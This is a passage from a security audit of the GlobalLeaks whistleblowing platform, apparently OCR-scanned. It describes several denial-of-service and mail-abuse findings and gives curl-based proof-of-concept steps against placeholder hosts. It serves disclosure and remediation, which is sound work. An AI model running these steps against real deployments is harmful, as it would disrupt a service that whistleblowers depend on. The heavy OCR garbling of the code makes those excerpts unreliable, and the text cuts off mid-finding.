# backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py
cl ass RTi pRedacti onCol | ecti on(BaseHandl er):
check_rol es = 'recei ver'

def post(self):
payl oad = sel f.request.content.read().decode(' utf-8")
data = j son. | oads( payl oad)

return create_redaction(sel f.request.tid, self.session.user_id, data)
def create_redaction(session, tid, user_id, data):
user, rtip, itip = db_access_rtip(session, tid, user_id,

data['internaltip_id])

if not user.can_nask_i nfornation:
return

redaction. tenporary_redaction = data. get('tenporary_redaction')
redacti on. per manent _redaction = []
sessi on. add(r edact i on)

de

=

redact _content (content, ranges, character="0x2588"):
result = list(content)

ranges = sorted(ranges, key=lanbda x: x['start'])

for r in ranges:
start, end = r.get('start', 0), r.get('end, 0) + 1

if start < end:
result[start:end] = chr(int(character[2:], 16)) * (end - start)

return ''.join(result)

# backend/ gl obal eaks/ handl ers/reci pient/rtip. py
def redact_report(session, user_id, report, enforce=False):
user = session. query(nodel s. User). get (user_i d)

redacti ons = sessi on. query(nodel s. Redaction).filter(nodel s. Redaction.internalt
ip_id==report['id]).all()

if not enforce and \

(user. can_nask_i nfornation or \
user. can_redact _i nfornation or \
not |en(redactions)):

return report

for conment in report['conments']:
if cooment['id ] in redactions_by_reference_id:
comment[' content’'] = redact_content (comment[' content'],
redactions_by_reference_id[ comment['id ]][0].tenporary_redaction, '0x2591")

# backend/ gl obal eaks/ handl er s/ reci pi ent/ export. py
if tip_export['crypto_tip_prv_key']:

tip_export['tip'] = yield deferToThread(decrypt_tip, user_session.cc,
tip_export['crypto_tip_prv_key'], tip_export['tip'])

tip_export['tip'] = vyield redact_report(user_session. user_id,
tip_export['tip'], True)

PoC

Steps to reproduce
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1. Use a deployment with at least two recipients on the same report. Recipient A must have

can_nask_i nf or mati on=Tr ue ; recipient B can be any recipient without masking/redaction privileges for the
report-view path. On encrypted deployments, the export path is a ected for any recipient because

enf or ce=True bypasses the privilege short-circuit.

2. As recipient A, create a small public comment and capture the returned comment UUID.

curl -s -X POST 'https:// TARGET/ api/recipient/rtips/<report_id> conments' \
-H ' Content-Type: application/json \
-H ' X-Session: <recipient_A session> \
--data '{"content":"x","visibility":"public"}'

3. As recipient A, store an oversized but type-valid redaction range for that comment. A smaller end value such
as 999999 is enough to observe response expansion safely; a production attack can choose a much larger
value.

curl -s -X POST 'https:// TARGET/ api / reci pi ent/ redacti ons' \

-H ' Content-Type: application/json \

-H ' X-Session: <recipient_A session> \

--data ' {
“internal tip_id":"<report_id>",
“reference_id":"<comment _uui d>",
“entry":"0",
"content _type":"coment",
"operation":"mask",
“tenporary_redaction":[{"start": 0, "end": 999999}],
"per manent _redaction":[]

4. As recipient B, open the report; or, on an encrypted deployment, export the report as any recipient on the
report.

curl -s "https://TARGET/ api/recipient/rtips/<report_id> \
-H ' X-Session: <recipient_B session> >/dev/null

curl -s "https:// TARGET/ api/recipient/rtips/<report_id> export' \
-H ' X-Session: <recipi ent_sessi on> >/dev/nul |

Expected result

The backend should reject redaction ranges that are negative, not integers, inverted, excessively numerous, or
outside the referenced content length. Applying a redaction to a short comment or answer should not allocate
output larger than that content.

Actual result

The backend stores the range verbatim. Later report rendering applies the range and allocates output
proportional to the attacker-controlled end - start value, not to the referenced comment or answer length.
The oversized range remains stored and a ects future views or exports until the redaction row is removed.

Impact

This is an authenticated recipient availability issue. A malicious recipient with masking privileges can make a
shared report expensive or unavailable for other recipients, and can break encrypted report exports for all
recipients on that report. The attack is persistent because the oversized range is stored in the database.
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Impacted users or systems:

¢ Recipients opening a report without mask/redact privileges after another recipient stores an oversized
redaction range.

¢ Recipients exporting the same encrypted report, because export enforces redaction regardless of the
exporter's masking privileges.

e Backend worker memory and CPU serving the a ected report.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low High

Improper Validation of Specified Quantity in Input
Allocation of Resources Without Limits or Throttling
Uncontrolled Resource Consumption
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8.8 F-045 - Unvalidated redaction range values
break encrypted report export

A malformed redaction can break encrypted report export for every recipient until an administrator removes the
stored value.

IMPACT COMPONENT FOUND BY
Export availability loss Backend Claude Sonnet 4.6 medium v1

The POST /api/recipient/redactions endpoint accepts raw JSON with no schema validation and stores any
tenporary_redaction value directly to the database. When the stored range objects contain non-integer
start or end values (e.g, floats), the redact_content helper later crasheswith a TypeError when any

recipient attempts to export the encrypted report. The export path calls redact report (... enforce=True) ,

which unconditionally applies all stored redactions; the crash renders the report export permanently unavailable

for every recipient on that report until the malformed redaction is removed by an administrator.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py —RTi pRedacti onCol | ecti on. post (),
redact_content (), redact_answers(), redact_report()
backend/ gl obal eaks/ handl er s/ r eci pi ent/export.py —prepare_tip_export()

Description:

RTi pRedact i onCol | ecti on. post () reads the raw request body, calls json. | oads() withoutany
val i dat e_request () schema check, and passes the resulting dict directly to creat e_redaction() .

create_redaction() checks user.can_mask_information ( True by defaultforall new recipients) and then
stores data['tenporary redaction'] verbatimintothe Redaction.tenporary redacti on JSON column with
no type or shape validation.

When any recipient later exports the same report on an encrypted deployment, export.py calls:
prepare_tip_export - redact_report(user_id, tip, enforce=True)

Because enf or ce=Tr ue , the early-return guard that normally skips redaction for users with
can_nask_i nformati on is bypassed, and redact_report() calls redact_answers() -> redact_content ()
with the stored redaction. tenporary redaction list.

redact _content () attempts: ranges = sorted(ranges, key=lambda x: x['start’]) # TypeError if start is None
result[startend] = .. # TypeError if start/end are floats

Afloat index raises TypeError: slice indices nust be integers or None or have an __index__ nethod .

This exception propagates through the @ransact wrapper, which re-raises after rollback, and surfaces as an
HTTP 500 to the requesting recipient. The malformed Redacti on row persists in the database, so every
subsequent export attempt by any recipient on the same report will fail until an admin deletes the redaction.
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Relevant code:

# RTi pRedact i onCol | ection. post() —no schena validation
def post(self):
payl oad = sel f.request.content.read().decode(' utf-8")
data = json.|oads(payl oad) # raw, unvalidated
return create_redaction(sel f.request.tid, self.session.user_id, data)

# create _redacti on —stores tenporary redacti on verbati m
redaction. tenporary_redaction = data. get('tenporary_redaction') # no type
# redact _content —crashes on non-integer indices
def redact_content(content, ranges, character="0x2588"):
resul t list(content)
ranges = sorted(ranges, key=lanbda x: x['start'])
None
for r in ranges:
start, end = r.get('start', 0),
if start < end:
resul t[start:end] = chr(int(character[2:],

# TypeError if start

r.get('end, 0) +1

16)) * (end - start)
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check

is

# TypeError: slice indices nust be integers

return ''.join(result)

# prepare_tip_export (export.py:154) —enforce=True bypasses can_nask_i nfornati on

guard
if tip_export['crypto_tip_prv_key']:
tip_export['tip'] = vyield deferToThread(decrypt_tip, .)

tip_export['tip'] = yield redact_report(user_id, tip_export['tip'], True)

enf or ce=Tr ue

PoC

#

Steps to reproduce

1. Set up GlobalLeaks with encryption enabled and two recipient accounts, A (attacker) and B (victim), both having
access to the same report. Both have can_nask_i nf or nati on=True (the default).

2. As recipient A, create a malformed redaction:

curl -s -X POST https://<host>/api/recipient/redactions \
-H "x-session: <recipient_A session>" \
-H "Content - Type: application/json" \
-d ' {
“internaltip_id": "<report_uuid>",
"reference_id": "<any_field_uuid>",
“entry": "0",
“tenporary_redaction": [{"start":
"content _type": "answer",
"operation": "mask"

1.5, "end": 3.5}],

3. As recipient B (or A), attempt to export the report:

curl -s -X CET https://<host>/api/recipient/rtips/<report_uuid> export \
-H "x-session: <recipi ent_B sessi on>"

4, Observed result

HTTP 500 Internal

Server Error. The export endpoint crashes with TypeError inside

redact _content (). Subsequent export attenpts by any recipient return 500 for the

lifetinme of the redaction row
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Expected result

The POST endpoint should validate that start and end values are non-negative integers, and reject the
request with 400 if they are not.

Actual result

The malformed redaction is stored without error. All subsequent export attempts for the same encrypted report
fail with HTTP 500 until an admin manually removes the o ending Redaction row.

Impact

A malicious recipient with default capabilities (no special privileges required) can permanently break report export
for every recipient on any report they have access to, on deployments with encryption enabled.

Impacted users or systems:

¢ All recipients on the same report as the attacker

o Deployments with GlobalLeaks encryption enabled (the export path that triggers the crash is only reached
when crypto_tip_prv_key is present)

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low High

([CWE—ZO] — Improper Input Validation)

([CWE-703] — Improper Check or Handling of Exceptional Conditions)
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8.9 F-046 - Report export builds archive
synchronously, blocking the Twisted reactor

A low-privileged recipient can repeatedly trigger heavy exports and stall the single backend reactor thread for the
whole service.

IMPACT COMPONENT FOUND BY
Denial of service Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Recipient report export builds the full ZIP archive synchronously inside the Twisted request handler before
starting the response. A malicious recipient with access to a report can add large public recipient files and
repeatedly request /api/recipient/rtips/0/ export ,forcing the single reactor thread to read, decrypt,

compress, write, and optionally PGP-encrypt the archive without yielding. During that work the backend cannot
service other requests, creating a whole-service availability impact from a low-privileged recipient account.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ rest/api.py - /api/recipient/rtips/<uui d>/ export

backend/ gl obal eaks/ handl er s/ reci pi ent/export.py - ExportHandl er.get(),
prepare_tip_export()

backend/ gl obal eaks/ uti | s/ zi pstreampy - ZipStream__iter_ (), Z pStreamzip_fo()
backend/ gl obal eaks/ handl er s/ base. py - BaseHandl er.wite_file_as_downl oad()
backend/ gl obal eaks/ rest/decorators. py - decorate_net hod()

Description:

Export Handl er. get () Yields the database lookup and part of report preparation, but then returns to the reactor
thread and performs the expensive archive build in a normal Python loop:

zipstream = ZipStream(files) stf = SecureTemporaryFile(...) with stfopen('w') as f. for x in zipstream: fwrite(x)

ZipStream __iter__ synchronously opens every report file, decrypts encrypted files, reads 8 Ki B chunks,
and compresses them with zlib . Afterthat, wite_file_as_dowl oad() may synchronously invoke GnuPG
encryption if the recipient has configured a PGP key. None of this work is run through def er ToThread , a
streaming producer, or another back-pressure-aware Twisted mechanism.

The export route isa GET handler. decorate_nethod() only applies the rate limiterto del ete / post / put

methods, so repeated exports are not throttled by the configured recipient operation limits. Recipient file uploads
are su cient to create large export contents: Recei ver Fi | eUpl oad is exposed to any receiver with report access,
and the upload processing enforces only per-file naxi numfil esi ze , not a small aggregate export-work budget.

Relevant code:
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# backend/ gl obal eaks/ handl er s/ reci pi ent/ export . py
cl ass Export Handl er (BaseHandl er):

check_rol es = 'receiver'

handl er _exec_tine_t hreshol d = 3600

@nl i neCal | backs
def get(self, itip_id):
pgp_key, tip_export = yield get_tip_export(self.request.tid,

sel f. sessi on. user_id,

itip.id,

sel f. request. | anguage)

files = yield prepare_tip_export(self.session, tip_export)
zipstream = Zi pStrean(fil es)
stf = SecureTenporaryFile(sel f.state.settings.tnp_path)

with stf.open('w) as f:
for x in zipstream
f.owrite(x)

with stf.open('r') as f:
yield self.wite_file_as_downl oad(filenane, f, pgp_key)

# backend/ gl obal eaks/ uti | s/ zi pst r eam py
def zip_fo(self, fo, arcnane):
zi pinfo, cnpr, header = self.zi pi nfo_open(arcnane)

yi el d header
whil e True:
buf = fo.read(8 * 1024)
if not buf:
br eak

yi el d sel f.zipinfo_updat e(zi pi nfo, cnpr, buf)

def __iter_ (self):
for f in self.files:
try:
if "key' in f:
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wi th GCE stream ng_encryption_open(' DECRYPT', f['key'], f['path'])

as fo:
for data in self.zip_fo(fo, f['nane']):
yield data

# backend/ gl obal eaks/ handl er s/ base. py
def wite_file_as_downl oad(self, filenane, fp, pgp_key=""):
if isinstance(fp, str):
fp = sel f.open_file(fp)

if pgp_key:
filenane +=". pgp
_fp=1fp
fp = NanedTenporar yFi | e()
PGPCont ext (pgp_key) . encrypt _file(_fp, fp.nane)

# backend/ gl obal eaks/ rest/ decor at or s. py
def decorate_nethod(h, nethod):

if method in ['delete', "post', 'put']:
f = decorator_require_session_or_token(f)
if State.settings.enable rate_|inting:
f = decorator_rate_limt(f)

PoC
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The issue is reproducible on a normal tenant with at least one recipient and one report assigned to that recipient.
The default maxi num fil esi ze is 30 MiB, and the recipient can repeat the upload to create a report export that

is large enough to stall the event loop while the archive is built.

Steps to reproduce

1. Log in as a recipient who has access to a report and create a large file near the tenant's naxi num fil esi ze
limit.

dd i f=/dev/urandomof=/tnp/rfile.bin bs=1M count =30

2. Upload the file as a public recipient file on the report. Repeat this with di erent flow dentifier valuestoadd
several files.

curl -sS -X PCST \
"https://<host >/ api/recipient/rtips/<report-uuid>/
rfiles?fl owFil enane=rfile.bin& | ow dentifier=<unique-
i d>&f | owTot al Si ze=31457280&f | owChunkNunber =1&f | owTot al Chunks=1&vi si bi | i t y=publ i c'
\
-H ' x-session: <recipient-session> \
-F'file=@tnp/rfile.bin

3. Request the export endpoint repeatedly from one or more connections.

for i in $(seq 1 10); do
curl -sS -H'x-session: <recipient-session> \
"https://<host>/api/recipient/rtips/<report-uuid> export' \
-0 /tnp/export-$i.zip &
done
wai t

4. While the exports are running, send an unrelated request, such as /api/heal th oralogin request.

time curl -sS 'https://<host>/api/heal th'

Expected result

Large export work should not monopolize the Twisted reactor. The backend should either stream archive
generation through a producer that yields to the event loop, move CPU and disk-heavy export work to worker
threads with bounded concurrency, or enforce an export-specific rate/size budget before starting the job.

Actual result

Each export request builds the full archive synchronously in the request handler. While the loop reads, decrypts,
compresses, writes the temporary archive, and optionally PGP-encrypts it, the single reactor thread is occupied
and unrelated requests are delayed until the export work yields or completes.

Impact

This is a recipient-triggered availability issue in a whistleblowing platform. A malicious recipient can use ordinary
report access and recipient-file upload capabilities to cause service-wide stalls, delaying submissions, report
access, authentication, and administrative actions for other users. The impact increases when a recipient
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configures a PGP key because wite_file_as_downl oad() adds another synchronous full-file encryption step
before serving the response.

Impacted users or systems:

e Whistleblowers submitting or accessing reports while the reactor is blocked.
e Other recipients and administrators using the same backend process.

o Deployments with large report attachments or recipients who enable PGP-wrapped downloads.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None None High

Use of Blocking Code in Single-threaded, Non-blocking Context
Uncontrolled Resource Consumption
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8.10 F-051 - User email-change endpoint queues
unthrottled validation mail

Any authenticated user can turn email-change validation into an unthrottled mail-sending channel toward
arbitrary destinations.

IMPACT COMPONENT FOUND BY
Mail abuse Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Authenticated internal users can repeatedly call PUT /api / user/ pref erences with any new nail _address ,
causing the backend to generate a fresh email-validation token and queue a validation email to that address
every time. The generic rate limiter does not throttle internal-user preference updates, the pending email address
is not used as a duplicate suppression key, and the handler does not limit outstanding validation mail per account
or destination. A malicious recipient can therefore use a normal session to grow the notification spool and send
validation-message volume to arbitrary email addresses.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/user/__init__.py - Wserlnstance.put(),
db_user _updat e_user ()

backend/ gl obal eaks/rest/decorators. py - decorator_rate_limt()
backend/ gl obal eaks/ rest/requests. py - UserUser Desc

PUT / api / user/ pref er ences

Description:

The user-preferences endpoint is available to every internal user role through check_roles = 'user' .lts
request descriptor accepts nai | _address as any syntactically valid email address.

When request[' mai | _address'] di ersfrom the current stored user. nai|l_address |,
db_user _updat e_user () generates a new random token, stores only the hashed token and pending
change_enai | _address on the user row, and queues an enai | _val i dati on message to the requested
address. The current user. mai | _address is not changed until the validation link is used, so repeating the same
PUT request before validation still satisfies request[' nail _address'] != user.nmail _address and queues
another message.

The generic rate limiter does not apply any bucket to internal-user preference updates. It only throttles
whistleblower paths under /api / whi st ebl ower/ for authenticated whistleblower sessions, and login paths for

unauthenticated requests. There is no per-account, per-destination, per-tenant, or per-system limit for
enai | _val i dati on messages.

A malicious recipient does not need administrator privileges or a public endpoint: a normal recipient session can
send repeated preference updates to arbitrary email addresses. This creates queued Mil rows, consumes

notification delivery capacity, and can cause third parties to receive unwanted validation emails from the
GlobalLeaks deployment.
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Relevant code:

backend/ gl obal eaks/ handl ers/user/__init__.py

188 cl ass User | nst ance(BaseHandl er):

192
193
200
201

check_rol es = 'user’
inval i date_cache = True

def put(self):
request = sel f.validate_request(self.request.content.read(),

requests. User User Desc)

203
204
205
206

return update_user_settings(self.session.user_tid,
sel f. session,
request ,
sel f. request. | anguage)

backend/ gl obal eaks/ handl ers/user/__init__.py

144 # 1f the emai| address changed, send a validation enail

145 if request[' mail _address'] != user.nail_address:

146 token = gener at eRandonkKey()

147 user. change_enai | _address = request[' mai | _address']

148 user. change_enai | _date = datetinme_now()

149 user . change_enai | _t oken = sha256(t oken) . decode()

155 tenpl ate_vars = {

156 ‘type': '"enail _validation',

157 ‘user': user_desc,

158 ‘new enai | _address': request[' mail _address'],

159 ‘validation_token': token,

160 ‘node' : db_admin_serialize_node(session, tid, user.|anguage),
161 "notification: db_get_notification(session, tid, user.|anguage)
162 }

164 State. format _and_send_nai | (session, tid, user_desc[' mail_address'],

tenpl ate_vars)

backend/ gl obal eaks/ rest/requests. py

155 User User Desc = {

156
157
158
159
160
161
162
163
164
165
166
167
168
169 }

'usernane': str,

'name' : str,

‘description': str,

' public_nane': str,

"role': user_rol e_regexp,

' passwor d_change_needed' : bool ,
‘mai | _address': enail _regexp,
' pgp_key_renove' : bool ,

" pgp_key_fingerprint': str,

' pgp_key_expiration': str,

" pgp_key_public': str,

'l anguage' : str,
"notification': bool
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backend/ gl obal eaks/ rest/ decor at or s. py

90 if self.session:

91 user_id = sel f.session. user_id. encode()
93 if self.session.role == "whistleblower’ and path.startsw th(b'/api/
whi st ebl over/"):
94 if self.request.path == b'/api/whistlebl ower/subm ssion':
95 bl ock = State. RateLimt.check(...)
112 el se:
113 if not self.upload_handl er:
114 del ay = State. RateLimit.check(b"operations_per_second_per_repo
rt:" +user_id, ...)
127 el se:
128 if self.request.path in [b'/api/auth/authentication', b'/api/auth/
recei ptauth', b'/api/auth/authentication']:
129 delay = State. RateLimt.check(...)
PoC

Steps to reproduce

1. Authenticate as a normal recipient or other internal user.

X- Sessi on: <recipi ent session id>

2. Submit a normal preferences update with a new email address. Repeat the request, changing the address each
time or even reusing the same unvalidated address.

curl -s -X PUT ' https:// TARGET/ api / user/ preferences' -H ' Content-Type: application/
json' -H'X Session: <recipient-session> --data '{
"user nanme": "reci pi ent 1",
"nane": " Reci pi ent nhe",
"description":"",
“publ i c_nane": " Reci pi ent One",
“rol e":"receiver",
"passwor d_change_needed": f al se,
“mai | _address": "t arget 001@xanpl e. net ",
"pgp_key_renove": fal se,
"pgp_key_fingerprint":"",
"pgp_key_expiration":"",
"pgp_key_public":"",
"l anguage": "en",
“notification":true

3. Inspect the database mail spool or destination inboxes.

Every accepted request queues an enail _validati on nessage. The user's canoni cal
nai | _address renai ns unchanged until validation, so repeated requests continue to
generate fresh tokens and queued nail .

Expected result

Email-change validation should be rate-limited and duplicate-suppressed per account and destination. Repeated
requests for an already-pending address should reuse the existing pending token or refuse until the previous
validation expires.

Actual result
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Each preference update with a syntactically valid address that di ers from the current confirmed address creates
a fresh validation token and queued email, without any internal-user rate-limit bucket or queue bound.

Impact

This is an authenticated availability and abuse issue. A malicious recipient can use the service's notification
infrastructure to send validation email volume to arbitrary addresses, grow the persistent mail spool, consume
SMTP delivery capacity, and damage the deployment's notification reputation. The attack does not require
administrator configuration authority.

Impacted users or systems:

¢ Globaleaks deployments with notification delivery enabled.
e Third-party email recipients targeted by unwanted validation messages.

e Operators relying on the same mail spool and SMTP service for security-sensitive notifications.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Low High

Allocation of Resources Without Limits or Throttling
CWE-400 ) Uncontrolled Resource Consumption
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8.11 F-099 - PGP downloads stall request loop

Repeated large downloads with recipient-side PGP enabled can tie up the main request loop and degrade the
entire service.

IMPACT COMPONENT FOUND BY

Service denial of service Backend GPT-5.5 xhigh via
run_codex_cwe_line v2

Recipient direct attachment downloads synchronously PGP-encrypt the requested file on the Twisted reactor
whenever the requesting recipient has configured a PGP public key. A malicious recipient can set their own PGP
key, upload or select a large report attachment, and repeatedly request /api/recipient/rfiles/0 or

/ api /reci pi ent/wbfiles/1 to force the single reactor thread to run GnuPG over the full file before streaming
begins. GET handlers are not rate-limited, so this can delay unrelated requests across the service.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ base. py - BaseHandl er.wite_file_as_downl oad()
backend/ gl obal eaks/ handl ers/reci pient/rtip.py - Wistlebl owerFi | eDownl oad. get (),
Recei ver Fi | eDownl oad. get ()

backend/ gl obal eaks/ handl ers/user/__init__.py - parse_pgp_options(),

updat e_user _set tings()

backend/ gl obal eaks/ rest/decorators. py - decorate_net hod()

/api / reci pi ent/wbfi | es/ <uui d>

/api/recipient/rfiles/<uui d>

Description:

Recipients can configure their own PGP public key through the normal user preferences path. The direct recipient
attachment download handlers then fetch that same user. pgp_key public value and pass it to
BaseHandl er.wite file_as_downl oad() .

For a recipient with a PGP key, wite file_as_downl oad() creates atemporary output file and calls

PGPCont ext (pgp_key) . encrypt _file(_fp, fp.name) before FileSender begins streaming the response. That
call runs synchronously in the request handler after the database lookup has yielded back to the Twisted reactor.
The handler therefore blocks the single reactor thread while GnuPG reads and encrypts the whole attachment.

The a ected endpoints are GET handlers. decorate_nethod() only applies decorator_rate |imt() to

del ete / post / put methods, so repeated direct download GET s are not constrained by the configured role
operation rate limits. This is related to, but distinct from, the existing report-export reactor-blocking issue: no
report ZIP export is needed, and the direct file endpoints can trigger the synchronous PGP wrapping path on a
single attachment.

Relevant code:
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# backend/ gl obal eaks/ handl ers/user/ __init__.py
if not renove_key and pgp_key_publi c:
pgpct x = PGPCont ext (pgp_key_publ i c)
user. pgp_key_public = pgp_key_public
user. pgp_key_fingerprint = pgpctx.fingerprint
user. pgp_key_expi ration = pgpct x. expi ration

# backend/ gl obal eaks/ handl ers/ reci pient/rtip. py
return ifile.nane, ifile.id, wbfile.id, rtip.crypto_tip_prv_key,
rtip.deprecated_crypto_files_prv_key, user.pgp_key_public

yield self.wite_file_as_downl oad(nane, filelocation, pgp_key)

# backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py
rfile, rtip, pgp_key = db_get (session,
(nodel s. Recei verFil e,
nodel s. Recei ver Ti p,
nodel s. User . pgp_key_public),
)

yield self.wite file_as_downl oad(nare, filelocation, pgp_key)

# backend/ gl obal eaks/ handl er s/ base. py
def wite_file_as_downl oad(self, filenane, fp, pgp_key='"):
if isinstance(fp, str):
fp = self.open_file(fp)

if pgp_key:
filenane += '. pgp'
_fp=1fp
fp = NanedTenpor ar yFi | e()
PGPCont ext (pgp_key) . encrypt _file(_fp, fp.nane)

# backend/ gl obal eaks/ rest/decor at or s. py
if nethod in ['delete', "post', 'put']:
f = decorator_require_session_or_token(f)
if State.settings.enable rate |imting:
f = decorator_rate_|imt(f)

PoC

The issue is reproducible on a deployment with at least one recipient account and one report assigned to that
recipient. The attacker needs only normal recipient access to the report and the ability to configure their own PGP
public key.

Steps to reproduce

1. Log in as the recipient and configure any valid PGP public key for that recipient account. One way to generate a
test key locally is:

gpg --batch --passphrase '’
rsa2048 encr 0
gpg --arnmor --export ‘gl -audit@xanple.invalid > /tnp/recipient.asc

- - qui ck-gener at e-key ' gl -audi t @xanpl e.invalid

Then update the recipient preferences by fetching the current preference document and replacing the PGP fields:
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curl -sS -H'x-session: <recipient-session> 'https://<host>/api/user/preferences'
> /tnp/ prefs.json

jg --rawfile key /tnp/recipient.asc '.pgp_key_public=$key | .pgp_key_renove=fal se'
/tnp/prefs.json > /tnp/prefs-wth-pgp.json

curl -sS -X PUT 'https://<host>/api/user/preferences' -H'x-session: <recipient-
session> -H'content-type: application/json' --data @tnp/prefs-wth-pgp.json

2. Upload a large recipient file to a report the same recipient can access, using a size near the tenant's configured
maxi mumfi | esi ze :

dd i f=/dev/urandomof =/tnp/rfile.bin bs=1M count =30

curl -sS -X POST 'https://<host>/api/recipient/rtips/<report-uui d>/

rfiles?flowFi| enane=rfile.bi n& | owl denti fi er=<uni que-

i d>&f | owTot al Si ze=31457280&F | owChunkNunber =1&f | owTot al Chunks=1&i si bi | i ty=public' -
H ' x-session: <recipient-session> -F 'file=@tnp/rfile.bin'

Record the returned receiver-file UUID. An existing whistleblower file visible to the recipient can also be used
through /api/recipient/wbfiles/0 .

3. Request the direct download endpoint repeatedly from one or more connections:

for i in $(seq 1 10); do

curl -sS -H'x-session: <recipient-session> 'https://<host>/api/recipient/
rfiles/<receiver-file-uuid> -o "/tnp/direct-$i.pgp" &
done

# In another shell while the downl oads are starting:

tine curl -sS 'https://<host>/api/health'
wai t

Expected result

Direct attachment downloads should not monopolize the Twisted reactor. Expensive PGP wrapping should run o
the reactor with bounded concurrency, be streamed in a back-pressure-aware way, or be protected by a
download-specific resource budget and rate limit.

Actual result

Each direct download request performs full-file PGP encryption synchronously before streaming starts. While
GnuPG reads and encrypts the attachment, the single Twisted reactor thread is occupied and unrelated requests
can be delayed. Repeating the GET requests compounds the delay because GET handlers are not covered by the
operation rate limiter.

Impact

This is a recipient-triggered availability issue in a whistleblowing platform. A malicious recipient can use ordinary
report access and their own PGP preference to make direct attachment downloads perform expensive CPU and
disk work on the service reactor, delaying submissions, report access, authentication, and administrative actions
for other users.

Impacted users or systems:

¢ Whistleblowers submitting or accessing reports while the reactor is blocked.
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e Other recipients and administrators using the same backend process.

o Deployments where recipients enable PGP-wrapped downloads and reports contain large attachments.

CONFIDENTIALITY INTEGRITY AVAILABILITY

None None High

Use of Blocking Code in Single-threaded, Non-blocking Context
Allocation of Resources Without Limits or Throttling

CWE-400 ) Uncontrolled Resource Consumption
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8.12 F-107 - Channel recipients could read
reports when not encrypted

On installations originally deployed before GlobalLeaks 3.0.0 in February 2018, subsequently upgraded, and still
retaining reports created without encryption, a channel recipient may receive clear-text answers for a report that
remains visible in the channel list but is no longer directly assigned. Reports created with the current encrypted
storage model are not a ected.

IMPACT COMPONENT FOUND BY
Report data exposure Backend GPT-5.5, xhigh reasoning, v3

This condition is retained as a legacy compatibility advisory and is not classified as a current product vulnerability.
Its technical impact applies only to pre-existing unencrypted report data preserved across an upgrade.

Details

A ected source code, component, endpoint, or function:

CET /api/recipient/rtips

backend/ gl obal eaks/ handl ers/recipient/__init__.py:get_receivertips()

backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py: db_revoke_ti p_access(),
db_access_rtip()

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ submi ssi on. py: db_cr eat e_subm ssi on()

Description:

get _receivertips() firstbuilds receiver_contexts from contextswhere allow recipients_sel ection is
false and the current recipient is assigned to the context. The main report-list query then returns a report if either
the report's contextisin recei ver_contexts orthe joined ReceiverTip row belongs to the current recipient.

That OR condition means a report remains visible in the list when the current recipient is still assigned to the
non-selectable context but no longer has a Recei ver Ti p row for the specific report. The code marks such rows
as accessi bl e = Fal se , but it only clears questionnaire answers in the encrypted-report branch. The disclosure
is possible only for historical report rows whose answers were stored in clear text before version 3.0.0 and

remained in the database after upgrade. Current encrypted reports are redacted by the existing encrypted-report
branch.

The a ected path involves a recipient who remains assigned to the context but whose report-specific access has
been revoked. For retained legacy clear-text reports, the list endpoint can expose answers despite the direct
Recei ver Ti p access boundary.

Relevant code:
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backend/ gl obal eaks/ handl ers/recipient/__init__.py:

66 recei ver_contexts = [

67 context_id[0] for context_id in session.query(nodels.Context.id)

68 .j oi n(nodel s. Recei ver Cont ext ,
69 nodel s. Context.id ==
nodel s. Recei ver Cont ext . cont ext _i d)

70

.filter(nodel s. Context.al |l ow reci pi ents_sel ecti on == Fal se,

71

nodel s. Recei ver Cont ext . recei ver_id == recei ver_id

72 ).all()

78 ]

77 for rtip, itip, answers, data in session.query(nodel s. ReceiverTip,

78 nodel s. | nternal Ti p,

79 nodel s. | nt er nal Ti pAnswer s,
80 nodel s. I nternal Ti pData) \
85 .filter(or_(nodels. Internal Tip. cont
ext_id.in_(receiver_contexts),

86

nodel s. Recei ver Ti p. recei ver _id == receiver_id),

87 nodel s. Internal Tip.tid ==
tid,

88

nodel s. | nternal Ti p. updat e_date >= updat ed_after,

89

nodel s. I nternal Ti p. updat e_date <= updat ed_bef ore,

90 nodel s. Internal Tip.id ==
nodel s. Recei verTip.internal tip_id,

91

nodel s. | nternal Ti pAnswers.internal tip_id == nodel s. ReceiverTip.internal tip_id) \
92 . group_by(nodel s. Recei verTip.id):
93 answers = answers.answers # noga: PLW2901

94 | abel = itip.!label

95 accessible = rtip.receiver_id == receiver_id

96 if itip.crypto_tip_pub_key and accessibl e:

103 elif itip.crypto_tip_pub_key:

104 # renove usel ess and unusabl e crypted data

105 answers = "" # noga: PLV2901

106 | abel =""

115 if accessible or itip.id not in dict_ret:

116 dict_ret[itip.id] = {

130 ‘answers': answers,

138 "accessi bl e': accessible

139 }

backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py:
117 def db_revoke_tip_access(session, tid, user_id, itip, receiver_id):

127
128
129
130
131
132
133

rtip = session. query(nodel s. Recei verTip) \
.filter(nodel s. ReceiverTip.internaltip_id == itip.id,
nodel s. Recei ver Ti p. recei ver _id == recei ver_i d). one_or_none()
if rtipis None:
return Fal se

session. del ete(rtip)
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backend/ gl obal eaks/ handl ers/reci pient/rtip. py:
574 def db_access_rtip(session, tid, user_id, itip_id):

584 return db_get (session,

585 (nodel s. User, nodel s. Recei verTi p, nodel s. I nternal Tip),

586 (nodel s. User.id == user_id,

587 nodel s.Internal Tip.id == itip_id,

588 nodel s. Recei ver Ti p. recei ver _i d == nodel s. User. i d,

589 nodel s. Recei verTip.internaltip_id == nodel s. Internal Tip.id,
590 nodel s. Internal Tip.tid == tid))

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ subni ssi on. py:

260 if crypto_is_avail able:

261 answers = Base64Encoder . encode( GCE. asymnetric_encrypt (i tip.crypto_tip_
pub_key, json. dunps(answers, cls=JSO\NEncoder).encode())). decode()

262

263 db_set _internal ti p_answers(session, itip.id, questionnaire_hash, answers,

itip.creation_date)
PoC

Steps to reproduce

The following regression setup models an upgraded database containing retained pre-3.0.0 data. Disabling
